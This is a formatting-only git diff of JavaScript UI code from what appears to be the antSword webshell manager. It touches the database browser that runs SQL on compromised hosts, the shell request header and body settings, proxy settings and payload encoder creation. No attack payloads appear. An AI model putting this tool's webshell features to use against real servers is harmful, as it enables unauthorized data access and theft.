.request(this.core[`database_${conf['type']}`].show_tables({
conn: conf['conn'],
dbname: db
}))
.then((res) => {
let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) {
......@@ -671,7 +668,10 @@ class ASP {
}
this
.core
.request(this.core[`database_${conf['type']}`].show_columns({conn: conf['conn'], table: sql}))
.request(this.core[`database_${conf['type']}`].show_columns({
conn: conf['conn'],
table: sql
}))
.then((res) => {
let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) {
......@@ -745,7 +745,11 @@ class ASP {
this
.core
.request(this.core[`database_${this.dbconf['type']}`].query({conn: this.dbconf['conn'], sql: sql, dbname: this.dbconf['database']}))
.request(this.core[`database_${this.dbconf['type']}`].query({
conn: this.dbconf['conn'],
sql: sql,
dbname: this.dbconf['database']
}))
.then((res) => {
let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) {
......@@ -823,9 +827,9 @@ class ASP {
'rows': grid_data
}, 'json');
// 启用导出按钮
this.manager.result.toolbar[grid_data.length > 0
? 'enableItem'
: 'disableItem']('dump');
this.manager.result.toolbar[grid_data.length > 0 ?
'enableItem' :
'disableItem']('dump');
}
// 导出查询数据
......@@ -840,7 +844,8 @@ class ASP {
.__opts__
.ip}_${new Date()
.format("yyyyMMddhhmmss")}.csv`;
dialog.showSaveDialog({title: LANG['result']['dump']['title'],
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
}, (filePath) => {
if (!filePath) {
......
......@@ -36,9 +36,9 @@ class CUSTOM {
.tree
.attachEvent('onClick', (id) => {
// 更改按钮状态
id.startsWith('conn::')
? this.enableToolbar()
: this.disableToolbar();
id.startsWith('conn::') ?
this.enableToolbar() :
this.disableToolbar();
// 设置当前配置
const tmp = id.split('::');
const arr = tmp[1].split(':');
......@@ -109,8 +109,7 @@ class CUSTOM {
this
.tree
.callEvent('onClick', [id]);
bmenu([
{
bmenu([{
text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle',
action: this
......@@ -132,8 +131,7 @@ class CUSTOM {
action: this
.delConf
.bind(this)
}
], event);
}], event);
});
}
......@@ -172,7 +170,7 @@ class CUSTOM {
// 添加配置
addConf() {
const hash = (+ new Date * Math.random())
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 创建窗口
......@@ -189,8 +187,7 @@ class CUSTOM {
win.denyResize();
// 工具栏
const toolbar = win.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
......@@ -209,12 +206,10 @@ class CUSTOM {
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}
]);
}]);
// form
const form = win.attachForm([
{
const form = win.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
......@@ -223,8 +218,7 @@ class CUSTOM {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
list: [{
type: 'combo',
label: LANG['form']['type'],
readonly: true,
......@@ -246,16 +240,16 @@ class CUSTOM {
required: true,
value: 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456',
rows: 9
}
]
}
], true);
}]
}], true);
form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') {
return
};
form.setFormData({conn: this.conns[id]});
form.setFormData({
conn: this.conns[id]
});
});
// 工具栏点击事件
......@@ -293,7 +287,9 @@ class CUSTOM {
win.progressOn();
this
.core
.request(this.core[`database_${_data['type']}`].show_databases({conn: _data['conn']}))
.request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => {
if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) {
......@@ -325,7 +321,7 @@ class CUSTOM {
_id: this.manager.opt['_id'],
id: id
});
const hash = (+ new Date * Math.random())
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 创建窗口
......@@ -342,8 +338,7 @@ class CUSTOM {
win.denyResize();
// 工具栏
const toolbar = win.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'edit',
type: 'button',
icon: 'edit',
......@@ -362,12 +357,10 @@ class CUSTOM {
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}
]);
}]);
// form
const form = win.attachForm([
{
const form = win.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
......@@ -376,8 +369,7 @@ class CUSTOM {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
list: [{
type: 'combo',
label: LANG['form']['type'],
readonly: true,
......@@ -400,16 +392,16 @@ class CUSTOM {
required: true,
value: conf['conn'],
rows: 9
}
]
}
], true);
}]
}], true);
form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') {
return
};
form.setFormData({conn: this.conns[id]});
form.setFormData({
conn: this.conns[id]
});
});
// 工具栏点击事件
......@@ -448,7 +440,9 @@ class CUSTOM {
win.progressOn();
this
.core
.request(this.core[`database_${_data['type']}`].show_databases({conn: _data['conn']}))
.request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => {
if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) {
......@@ -517,9 +511,9 @@ class CUSTOM {
.request(this.core[`database_${conf['type']}`].show_databases({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1
? conf['conn'].match(/[\w]+.mdb$/)
: 'database'
db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ?
conf['conn'].match(/[\w]+.mdb$/) :
'database'
}))
.then((res) => {
let ret = res['text'];
......@@ -579,7 +573,11 @@ class CUSTOM {
this
.core
.request(this.core[`database_${conf['type']}`].show_tables({conn: conf['conn'], encode: this.manager.opt.encode, db: db}))
.request(this.core[`database_${conf['type']}`].show_tables({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: db
}))
.then((res) => {
let ret = res['text'];
const arr = ret.split('\t');
......@@ -633,7 +631,12 @@ class CUSTOM {
this
.core
.request(this.core[`database_${conf['type']}`].show_columns({conn: conf['conn'], encode: this.manager.opt.encode, db: db, table: table}))
.request(this.core[`database_${conf['type']}`].show_columns({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: db,
table: table
}))
.then((res) => {
let ret = res['text'];
const arr = ret.split('\t');
......@@ -665,9 +668,9 @@ class CUSTOM {
.query
.editor
.session
.setValue(conf['type'] === 'oracle'
? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
: `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`);
.setValue(conf['type'] === 'oracle' ?
`SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` :
`SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`);
this
.manager
.list
......@@ -694,7 +697,11 @@ class CUSTOM {
this
.core
.request(this.core[`database_${this.dbconf['type']}`].query({conn: this.dbconf['conn'], encode: this.manager.opt.encode, sql: sql}))
.request(this.core[`database_${this.dbconf['type']}`].query({
conn: this.dbconf['conn'],
encode: this.manager.opt.encode,
sql: sql
}))
.then((res) => {
let ret = res['text'];
// 更新执行结果
......@@ -769,9 +776,9 @@ class CUSTOM {
'rows': grid_data
}, 'json');
// 启用导出按钮
this.manager.result.toolbar[grid_data.length > 0
? 'enableItem'
: 'disableItem']('dump');
this.manager.result.toolbar[grid_data.length > 0 ?
'enableItem' :
'disableItem']('dump');
}
// 导出查询数据
......@@ -786,7 +793,8 @@ class CUSTOM {
.__opts__
.ip}_${new Date()
.format("yyyyMMddhhmmss")}.csv`;
dialog.showSaveDialog({title: LANG['result']['dump']['title'],
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
}, (filePath) => {
if (!filePath) {
......
......@@ -11,9 +11,7 @@ const crypto = require('crypto');
class Database {
constructor(opt) {
this.hash = (+ new Date * Math.random())
.toString(16)
.substr(2, 8);
this.hash = (+new Date * Math.random()).toString(16).substr(2, 8);
this.opt = opt;
let config = {
bookmarks: {}
......@@ -23,36 +21,26 @@ class Database {
const tabbar = antSword['tabbar'];
tabbar.addTab(`tab_database_${this.hash}`, `<i class="fa fa-database"></i> ${opt['ip']}`, null, null, true, true);
this.cell = tabbar.cells(`tab_database_${this.hash}`);
this
.cell
.progressOn();
this.cell.progressOn();
// layout
this.layout_main = this
.cell
.attachLayout('2U');
this.layout_right = this
.layout_main
.cells('b')
.attachLayout('2E');
this.layout_main = this.cell.attachLayout('2U');
this.layout_right = this.layout_main.cells('b').attachLayout('2E');
this.list = this.initList(this.layout_main.cells('a'));
this.query = this.initQuery(this.layout_right.cells('a'));
this.result = this.initResult(this.layout_right.cells('b'));
this.win = new dhtmlXWindows();
this
.win
.attachViewportTo(this.cell.cell);
this.win.attachViewportTo(this.cell.cell);
// 加载数据库驱动
const _module = require(`./${opt['type']}/index`);
this.drive = new _module({core: new antSword['core'][opt['type']](opt),
this.drive = new _module({
core: new antSword['core'][opt['type']](opt),
super: this
});
this
.cell
.progressOff();
this.cell.progressOff();
}
// 初始化左侧列表
......@@ -135,8 +123,7 @@ class Database {
// 左侧拦toolbar
const toolbar = layout.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'add',
text: LANG['list']['add'],
icon: 'plus-circle',
......@@ -164,8 +151,7 @@ class Database {
text: LANG['list']['check'],
icon: 'spinner',
type: 'button'
}
]);
}]);
toolbar.attachEvent('onClick', (id) => {
switch (id) {
case 'add':
......@@ -188,7 +174,11 @@ class Database {
break;
}
});
return {imgs: imgs, layout: layout, toolbar: toolbar};
return {
imgs: imgs,
layout: layout,
toolbar: toolbar
};
}
// 初始化右侧::SQL执行
......@@ -202,22 +192,19 @@ class Database {
editor = ace.edit(layout.cell.lastChild);
editor.$blockScrolling = Infinity;
editor.setTheme('ace/theme/tomorrow');
editor
.session
.setMode('ace/mode/sql');
editor
.session
.setUseWrapMode(true);
editor
.session
.setWrapLimitRange(null, null);
editor.session.setMode('ace/mode/sql');
editor.session.setUseWrapMode(true);
editor.session.setWrapLimitRange(null, null);
editor.setOptions({fontSize: '14px', enableBasicAutocompletion: true, enableSnippets: true, enableLiveAutocompletion: true});
editor.setOptions({
fontSize: '14px',
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: true
});
// 快捷键
editor
.commands
.addCommand({
editor.commands.addCommand({
name: 'exec',
bindKey: {
win: 'Ctrl-E',
......@@ -228,27 +215,25 @@ class Database {
}
});
editor
.session
.setValue("SELECT 'Hello antSword :)' AS welcome;");
editor.session.setValue("SELECT 'Hello antSword :)' AS welcome;");
// SQL语句toolbar
const toolbar = layout.attachToolbar();
let bookmark = JSON.parse(this.storage('dbbookmarks').get('{}'));
let reloadToolbar = () => {
let bookmark_opts = [
{
let bookmark_opts = [{
id: 'bookmark_add',
type: 'button',
icon: 'plus-circle',
text: LANG['query']['bookmark']['add'],
// enabled:
// !!bookmark[Buffer.from(editor.session.getValue()).toString('base64')],
}
];
}];
let global_bookmarks = this.config.bookmarks || {};
if (Object.keys(global_bookmarks).length > 0) {
bookmark_opts.push({type: 'separator'});
bookmark_opts.push({
type: 'separator'
});
for (let gb in global_bookmarks) {
bookmark_opts.push({
id: 'bookmark_' + global_bookmarks[gb],
......@@ -261,7 +246,9 @@ class Database {
}
}
if (!$.isEmptyObject(bookmark)) {
bookmark_opts.push({type: 'separator'});
bookmark_opts.push({
type: 'separator'
});
};
for (let _ in bookmark) {
bookmark_opts.push({
......@@ -274,11 +261,19 @@ class Database {
}
// 添加清除按钮
if (bookmark_opts.length > 2) {
bookmark_opts.push({type: 'separator'});
bookmark_opts.push({id: 'bookmark_remove', icon: 'remove', text: LANG['query']['bookmark']['del'],
bookmark_opts.push({
type: 'separator'
});
bookmark_opts.push({
id: 'bookmark_remove',
icon: 'remove',
text: LANG['query']['bookmark']['del'],
type: 'button'
});
bookmark_opts.push({id: 'bookmark_clear', icon: 'trash-o', text: LANG['query']['bookmark']['clear'],
bookmark_opts.push({
id: 'bookmark_clear',
icon: 'trash-o',
text: LANG['query']['bookmark']['clear'],
type: 'button'
});
};
......@@ -291,8 +286,7 @@ class Database {
}
})
toolbar.clearAll();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'exec',
text: LANG['query']['exec'],
icon: 'play',
......@@ -340,14 +334,8 @@ class Database {
value: antSword.noxss(editor.session.getValue()),
title: LANG['query']['prompt']['add']['title']
}, (value, i, e) => {
bookmark[
Buffer
.from(editor.session.getValue())
.toString('base64')
] = value;
self
.storage('dbbookmarks')
.set(JSON.stringify(bookmark));
bookmark[Buffer.from(editor.session.getValue()).toString('base64')] = value;
self.storage('dbbookmarks').set(JSON.stringify(bookmark));
toastr.success(LANG['query']['prompt']['add']['success'](editor.session.getValue()), LANG_T['success']);
reloadToolbar();
layer.close(i);
......@@ -400,7 +388,12 @@ class Database {
};
});
return {reloadToolbar: reloadToolbar, editor: editor, layout: layout, toolbar: toolbar};
return {
reloadToolbar: reloadToolbar,
editor: editor,
layout: layout,
toolbar: toolbar
};
}
// 初始化右侧::执行结果
......@@ -409,8 +402,7 @@ class Database {
// layout.hideHeader();
const toolbar = layout.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'dump',
text: '导出',
icon: 'upload',
......@@ -418,8 +410,7 @@ class Database {
disabled: true
}, {
type: 'separator'
}
]);
}]);
toolbar.attachEvent('onClick', (id) => {
switch (id) {
case 'dump':
......@@ -429,12 +420,15 @@ class Database {
break;
}
});
return {layout: layout, toolbar: toolbar};
return {
layout: layout,
toolbar: toolbar
};
}
// 创建窗口
createWin(opts) {
const hash = (+ new Date * Math.random())
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 默认配置
......@@ -464,7 +458,11 @@ class Database {
// 检测数据库函数支持
checkprobe() {
let that = this;
let win = that.createWin({title: LANG['probedb']['title'], width: 350, height: 400});
let win = that.createWin({
title: LANG['probedb']['title'],
width: 350,
height: 400
});
const func_mapping = {
// PHP
'mysql_close': 'MYSQL',
......@@ -509,16 +507,15 @@ class Database {
data_arr.push({
id: i + 1,
data: [
func_mapping.hasOwnProperty(item[0])
? func_mapping[item[0]]
: antSword.noxss(item[0]),
parseInt(item[1]) === 1
? "√"
: "×"
func_mapping.hasOwnProperty(item[0]) ?
func_mapping[item[0]] :
antSword.noxss(item[0]),
parseInt(item[1]) === 1 ?
"√" :
"×"
],
style: parseInt(item[1]) === 1
? "background-color:#ADF1B9"
: ""
style: parseInt(item[1]) === 1 ?
"background-color:#ADF1B9" : ""
});
}
grid.parse({
......
......@@ -96,9 +96,9 @@ class Folder {
let _path = path + _;
let _obj = {
id: (_path),
text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3))
? _
: _.replace(/\/$/, ''))
text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) ?
_ :
_.replace(/\/$/, ''))
};
let _result = parseItem(obj[_], _path);
if (_result) {
......
......@@ -50,7 +50,7 @@ class Tasks {
.cell
.expand();
// 创建一个随机ID
const hash = String(+ new Date() + Math.random()).replace('.', '_');
const hash = String(+new Date() + Math.random()).replace('.', '_');
this
.grid
.addRow(hash, [
......
......@@ -7,7 +7,11 @@ const LANG = antSword['language']['settings']['about'];
class About {
constructor(sidebar) {
sidebar.addItem({id: 'about', selected: true, text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'about',
selected: true,
text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`
});
const cell = sidebar.cells('about');
cell.attachHTMLString(`
<div align="center" class="about">
......
......@@ -9,7 +9,10 @@ class ADefault {
constructor(sidebar) {
var self = this;
sidebar.addItem({id: 'adefault', text: `<i class="fa fa-sliders"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'adefault',
text: `<i class="fa fa-sliders"></i> ${LANG['title']}`
});
const cell = sidebar.cells('adefault');
const default_config = {
filemanager: {
......@@ -53,17 +56,14 @@ class ADefault {
this.shellmanager_settings.others = default_config.shellmanager.others;
}
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'save',
type: 'button',
text: LANG['toolbar']['save'],
icon: 'save'
}
]);
}]);
// 表单
const form = cell.attachForm([
{
const form = cell.attachForm([{
type: 'block',
name: 'filemanager',
list: [
......@@ -71,11 +71,9 @@ class ADefault {
{
type: "fieldset",
label: `<i class="fa fa-folder"></i> ${LANG['filemanager']['title']}`,
list: [
{
list: [{
type: "block",
list: [
{
list: [{
type: "label",
label: LANG['filemanager']['openfileintab']['title']
}, {
......@@ -98,14 +96,12 @@ class ADefault {
checked: filemanager_settings.openfileintab == true,
position: "label-right",
value: true
}
]
}]
},
// 后续文件管理其它设置
{
type: 'block',
list: [
{
list: [{
type: 'label',
label: LANG['filemanager']['bookmark']['title']
}, {
......@@ -113,18 +109,15 @@ class ADefault {
name: 'filemanager_bookmarks',
inputWidth: 600,
inputHeight: 200
}
]
}]
}
]
}, {
type: 'fieldset',
label: `<i class="fa fa-database"></i> ${LANG['database']['title']}`,
list: [
{
list: [{
type: 'block',
list: [
{
list: [{
type: 'label',
label: `${LANG['database']['bookmark']['title']}`
}, {
......@@ -132,18 +125,14 @@ class ADefault {
name: 'database_bookmarks',
inputWidth: 600,
inputHeight: 200
}
]
}
]
}]
}]
}, {
type: 'fieldset',
label: `<i class="fa fa-th-large"></i> ${LANG['shellmanager']['title']}`,
list: [
{
list: [{
type: 'block',
list: [
{
list: [{
type: 'checkbox',
position: 'label-right',
name: 'shellmanager_ignore-https',
......@@ -189,15 +178,12 @@ class ADefault {
name: 'shellmanager_bodys',
inputWidth: 600,
inputHeight: 150
}
]
}
]
}]
}]
},
// 后续其它模块
]
}
], true);
}], true);
form.enableLiveValidation(true);
let bookmark_grid = new dhtmlXGridObject(form.getContainer('filemanager_bookmarks'));
......@@ -227,8 +213,7 @@ class ADefault {
});
id = ids[0] || '';
let menu = [
{
let menu = [{
text: LANG['filemanager']['bookmark']['bmenu']['add'],
icon: 'fa fa-plus-circle',
action: self
......@@ -240,8 +225,7 @@ class ADefault {
action: () => {
self.delBookMarks(ids);
}
}
];
}];
bmenu(menu, event);
return true;
});
......@@ -311,8 +295,7 @@ class ADefault {
});
id = ids[0] || '';
let dbmenu = [
{
let dbmenu = [{
text: LANG['database']['bookmark']['bmenu']['add'],
icon: 'fa fa-plus-circle',
action: self
......@@ -324,8 +307,7 @@ class ADefault {
action: () => {
self.delDatabaseBookMarks(ids);
}
}
];
}];
bmenu(dbmenu, event);
return true;
});
......@@ -426,8 +408,7 @@ class ADefault {
});
id = ids[0] || '';
let menu = [
{
let menu = [{
text: LANG['shellmanager']['header']['bmenu']['add'],
icon: 'fa fa-plus-circle',
action: self
......@@ -439,8 +420,7 @@ class ADefault {
action: () => {
self.delShellmanagerHeaders(ids);
}
}
];
}];
bmenu(menu, event);
return true;
});
......@@ -506,8 +486,7 @@ class ADefault {
});
id = ids[0] || '';
let menu = [
{
let menu = [{
text: LANG['shellmanager']['body']['bmenu']['add'],
icon: 'fa fa-plus-circle',
action: self
......@@ -519,8 +498,7 @@ class ADefault {
action: () => {
self.delShellmanagerBodys(ids);
}
}
];
}];
bmenu(menu, event);
return true;
});
......@@ -562,9 +540,8 @@ class ADefault {
[bookmark_grid, db_bookmark_grid, shellmanager_headers_grid, shellmanager_bodys_grid].forEach((g) => {
// 空白数据右键fix
$('.objbox').on('contextmenu', (e) => {
(e.target.nodeName === 'DIV' && e.target.grid === g && g.callEvent instanceof Function && antSword['tabbar'].getActiveTab() === "tab_about" && sidebar.getActiveItem() === "adefault")
? g.callEvent('onRightClick', [-1, -1, e])
: null;
(e.target.nodeName === 'DIV' && e.target.grid === g && g.callEvent instanceof Function && antSword['tabbar'].getActiveTab() === "tab_about" && sidebar.getActiveItem() === "adefault") ?
g.callEvent('onRightClick', [-1, -1, e]): null;
});
});
$('.objbox').on('click', (e) => {
......@@ -623,7 +600,8 @@ class ADefault {
addBookMarks() {
let self = this;
let hash = +new Date();
let index = layer.prompt({title: `<i class="fa fa-bookmark"></i> ${LANG['filemanager']['bookmark']['add']['title']}`,
let index = layer.prompt({
title: `<i class="fa fa-bookmark"></i> ${LANG['filemanager']['bookmark']['add']['title']}`,
content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="bookmark name"><p/><input style="width:300px;" type="tex' +
't" id="bpath_' + hash + '" class="layui-layer-input" value="" placeholder="bookmark path">',
btn: [LANG['filemanager']['bookmark']['add']['addbtn']],
......@@ -656,9 +634,9 @@ class ADefault {
if (ids.length === 1 && !ids[0]) {
return
}
layer.confirm(LANG['filemanager']['bookmark']['del']['confirm'](ids.length > 1
? ids.length
: ids[0]), {
layer.confirm(LANG['filemanager']['bookmark']['del']['confirm'](ids.length > 1 ?
ids.length :
ids[0]), {
icon: 2,
shift: 6,
title: `<i class="fa fa-trash"></i> ${LANG['filemanager']['bookmark']['del']['title']}`
......@@ -716,7 +694,8 @@ class ADefault {
addDatabaseBookMarks() {
let self = this;
let hash = +new Date();
let index = layer.prompt({title: `<i class="fa fa-bookmark"></i> ${LANG['database']['bookmark']['add']['title']}`,
let index = layer.prompt({
title: `<i class="fa fa-bookmark"></i> ${LANG['database']['bookmark']['add']['title']}`,
content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="bookmark name"><p/><input style="width:300px;" type="tex' +
't" id="bpath_' + hash + '" class="layui-layer-input" value="" placeholder="bookmark sql">',
btn: [LANG['database']['bookmark']['add']['addbtn']],
......@@ -749,9 +728,9 @@ class ADefault {
if (ids.length === 1 && !ids[0]) {
return
}
layer.confirm(LANG['database']['bookmark']['del']['confirm'](ids.length > 1
? ids.length
: ids[0]), {
layer.confirm(LANG['database']['bookmark']['del']['confirm'](ids.length > 1 ?
ids.length :
ids[0]), {
icon: 2,
shift: 6,
title: `<i class="fa fa-trash"></i> ${LANG['database']['bookmark']['del']['title']}`
......@@ -807,7 +786,8 @@ class ADefault {
addShellmanagerHeaders() {
let self = this;
let hash = +new Date();
let index = layer.prompt({title: `<i class="fa fa-bookmark"></i> ${LANG['shellmanager']['header']['add']['title']}`,
let index = layer.prompt({
title: `<i class="fa fa-bookmark"></i> ${LANG['shellmanager']['header']['add']['title']}`,
content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="name"><p/><input style="width:300px;" type="text" id="bv' +
'alue_' + hash + '" class="layui-layer-input" value="" placeholder="value">',
btn: [LANG['shellmanager']['header']['add']['addbtn']],
......@@ -836,9 +816,9 @@ class ADefault {
if (ids.length === 1 && !ids[0]) {
return
}
layer.confirm(LANG['shellmanager']['header']['del']['confirm'](ids.length > 1
? ids.length
: ids[0]), {
layer.confirm(LANG['shellmanager']['header']['del']['confirm'](ids.length > 1 ?
ids.length :
ids[0]), {
icon: 2,
shift: 6,
title: `<i class="fa fa-trash"></i> ${LANG['shellmanager']['header']['del']['title']}`
......@@ -894,7 +874,8 @@ class ADefault {
addShellmanagerBodys() {
let self = this;
let hash = +new Date();
let index = layer.prompt({title: `<i class="fa fa-bookmark"></i> ${LANG['shellmanager']['body']['add']['title']}`,
let index = layer.prompt({
title: `<i class="fa fa-bookmark"></i> ${LANG['shellmanager']['body']['add']['title']}`,
content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="name"><p/><input style="width:300px;" type="text" id="bv' +
'alue_' + hash + '" class="layui-layer-input" value="" placeholder="value">',
btn: [LANG['shellmanager']['body']['add']['addbtn']],
......@@ -923,9 +904,9 @@ class ADefault {
if (ids.length === 1 && !ids[0]) {
return
}
layer.confirm(LANG['shellmanager']['body']['del']['confirm'](ids.length > 1
? ids.length
: ids[0]), {
layer.confirm(LANG['shellmanager']['body']['del']['confirm'](ids.length > 1 ?
ids.length :
ids[0]), {
icon: 2,
shift: 6,
title: `<i class="fa fa-trash"></i> ${LANG['shellmanager']['body']['del']['title']}`
......
......@@ -8,7 +8,10 @@ const LANG_T = antSword['language']['toastr'];
class AProxy {
constructor(sidebar) {
sidebar.addItem({id: 'aproxy', text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'aproxy',
text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`
});
const cell = sidebar.cells('aproxy');
// 代理数据
const aproxymode = localStorage.getItem('aproxymode') || 'noproxy';
......@@ -20,8 +23,7 @@ class AProxy {
// 工具栏
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'save',
type: 'button',
text: LANG['toolbar']['save'],
......@@ -35,12 +37,10 @@ class AProxy {
text: LANG['toolbar']['test'],
icon: 'spinner',
disabled: aproxymode === 'noproxy'
}
]);
}]);
// 表单
const form = cell.attachForm([
{
const form = cell.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 150,
......@@ -49,8 +49,7 @@ class AProxy {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
list: [{
type: 'label',
label: LANG['form']['label']
}, {
......@@ -67,14 +66,12 @@ class AProxy {
name: 'aproxymode',
value: 'manualproxy',
checked: aproxymode === 'manualproxy',
list: [
{
list: [{
type: 'combo',
label: LANG['form']['proxy']['protocol'],
readonly: true,
name: 'protocol',
options: [
{
options: [{
text: 'HTTP',
value: 'http',
selected: aproxyprotocol === 'http'
......@@ -90,8 +87,7 @@ class AProxy {
text: 'SOCKS4',
value: 'socks4',
selected: aproxyprotocol === 'socks4'
}
]
}]
}, {
type: 'input',
label: LANG['form']['proxy']['server'],
......@@ -116,12 +112,9 @@ class AProxy {
label: LANG['form']['proxy']['password'],
name: 'password',
value: aproxypassword
}
]
}
]
}
], true);
}]
}]
}], true);
form.enableLiveValidation(true);
form.attachEvent("onChange", function (name, value, is_checked) {
if (name == "aproxymode") {
......@@ -169,7 +162,9 @@ class AProxy {
formType: 0
}, function (testurl, index) {
layer.close(index);
var loadindex = layer.load(2, {time: 6 *1000});
var loadindex = layer.load(2, {
time: 6 * 1000
});
var _formvals = form.getValues();
var _server = _formvals['server']
.replace(/.+:\/\//, '')
......@@ -181,7 +176,7 @@ class AProxy {
_aproxyauth = _formvals['username'] + ":" + _formvals['password'];
}
var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' + _server + ':' + _formvals['port'];
var hash = (String(+ new Date) + String(Math.random()))
var hash = (String(+new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
......
......@@ -8,46 +8,40 @@ const LANG_T = antSword['language']['toastr'];
class Display {
constructor(sidebar) {
sidebar.addItem({id: 'display', text: `<i class="fa fa-television"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'display',
text: `<i class="fa fa-television"></i> ${LANG['title']}`
});
const cell = sidebar.cells('display');
const display_shellmanager_hiddencolumns = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns')
? JSON.parse(localStorage.display_shellmanager_hiddencolumns)
: [];
const display_shellmanager_hiddencolumns = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') ?
JSON.parse(localStorage.display_shellmanager_hiddencolumns) : [];
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'save',
type: 'button',
text: LANG['toolbar']['save'],
icon: 'save'
}
]);
}]);
// 表单
const form = cell.attachForm([
{
const form = cell.attachForm([{
type: 'block',
name: 'shellmanager',
list: [
{
list: [{
type: "label",
label: LANG['form']['shellmanager']['title']
}
]
}
]);
}]
}]);
const LANG_HC = LANG['form']['shellmanager']['hiddencolumns'];
// 数据管理隐藏列
form.addItem('shellmanager', {
type: "fieldset",
label: LANG_HC['title'],
list: [
{
list: [{
type: "block",
list: [
{
list: [{
type: "checkbox",
label: LANG_HC['url'],
name: 'hidden_columns[0]',
......@@ -105,10 +99,8 @@ class Display {
checked: display_shellmanager_hiddencolumns.indexOf(5) != -1,
position: "label-right",
value: 6
}
]
}
]
}]
}]
});
// 保存
......
......@@ -28,22 +28,23 @@ class Encoders {
}
}
sidebar.addItem({id: 'encoders', text: `<i class="fa fa-file-code-o"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'encoders',
text: `<i class="fa fa-file-code-o"></i> ${LANG['title']}`
});
that.cell = sidebar.cells('encoders');
const toolbar = that
.cell
.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
type: 'buttonSelect',
text: LANG['toolbar']['new'],
icon: 'plus-circle',
id: 'new',
openAll: true,
options: [
{
options: [{
id: 'new_asp',
icon: 'file-code-o',
type: 'button',
......@@ -72,16 +73,14 @@ class Encoders {
icon: 'file-code-o',
type: 'button',
text: "PHP RSA"
}
]
}]
}, {
type: 'buttonSelect',
text: LANG['toolbar']['new_decoder'],
icon: 'plus-circle',
id: 'new_decoder',
openAll: true,
options: [
{
options: [{
id: 'new_php_decoder',
icon: 'file-code-o',
type: 'button',
......@@ -93,8 +92,7 @@ class Encoders {
icon: 'file-code-o',
type: 'button',
text: "Custom"
}
]
}]
}, {
type: 'separator'
}, {
......@@ -121,8 +119,7 @@ class Encoders {
text: LANG['toolbar']['more'],
icon: 'fa fa-chrome',
id: 'more'
}
]);
}]);
toolbar.attachEvent("onClick", (id) => {
switch (id) {
......@@ -243,11 +240,11 @@ class Encoders {
let self = this;
let idArr = id.split('_');
let type = idArr[1];
let rsa = idArr.length >= 3
? (idArr[2] === 'rsa'
? '_rsa'
: '')
: '';
let rsa = idArr.length >= 3 ?
(idArr[2] === 'rsa' ?
'_rsa' :
'') :
'';
layer.prompt({
value: `my${edtype}`,
